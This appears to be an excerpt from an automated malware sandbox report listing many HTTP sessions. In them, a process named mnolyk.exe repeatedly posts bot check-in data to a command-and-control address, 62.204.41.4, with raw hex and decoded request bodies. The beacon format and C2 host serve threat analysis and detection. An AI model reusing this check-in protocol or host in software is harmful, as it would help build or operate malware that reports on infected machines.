Feb 6, 2023 18:36:02.941803932 CET	454	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:03.006386995 CET	454	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
220	192.168.2.7	49947	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:59.148433924 CET	673	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:59.213347912 CET	673	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
221	192.168.2.7	49948	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:59.384504080 CET	674	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:59.448514938 CET	674	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
222	192.168.2.7	49949	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:59.621007919 CET	675	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:59.684891939 CET	675	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
223	192.168.2.7	49950	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:59.857429028 CET	676	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:59.920886040 CET	676	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
224	192.168.2.7	49951	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:00.088634014 CET	677	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:00.157044888 CET	677	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
225	192.168.2.7	49952	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:00.344242096 CET	678	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:00.406126022 CET	678	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
226	192.168.2.7	49953	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:00.586144924 CET	679	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:00.650333881 CET	679	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
227	192.168.2.7	49954	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:00.821017027 CET	680	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:00.883276939 CET	680	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
228	192.168.2.7	49955	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:01.055368900 CET	681	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:01.122129917 CET	681	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
229	192.168.2.7	49956	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:01.309389114 CET	682	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:01.375094891 CET	682	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.7	49747	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:36:03.176630020 CET	455	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:36:03.239852905 CET	455	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:36:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
230	192.168.2.7	49957	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:01.557192087 CET	683	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:01.622724056 CET	683	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
231	192.168.2.7	49958	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:01.789882898 CET	684	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:01.854120970 CET	684	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
232	192.168.2.7	49959	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:02.027472973 CET	685	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:02.092313051 CET	685	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
233	192.168.2.7	49960	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:02.273096085 CET	686	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:02.335052013 CET	686	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
234	192.168.2.7	49961	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:02.522336006 CET	687	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:02.587881088 CET	687	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
235	192.168.2.7	49962	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:02.769565105 CET	688	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:02.835967064 CET	688	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
236	192.168.2.7	49963	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:03.026261091 CET	689	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:03.091744900 CET	689	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
237	192.168.2.7	49964	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:03.280174017 CET	690	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:03.343910933 CET	690	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
238	192.168.2.7	49965	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:03.533119917 CET	691	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 18:37:03.596465111 CET	691	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 17:37:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
239	192.168.2.7	49966	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 18:37:03.777401924 CET	692	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 91 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 32 32 36 35 34 36 26 75 6e 3d 66 72 6f 6e 74 64 65 73 6b 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=226546&un=user&dm=&av=13&lv=0&og=1
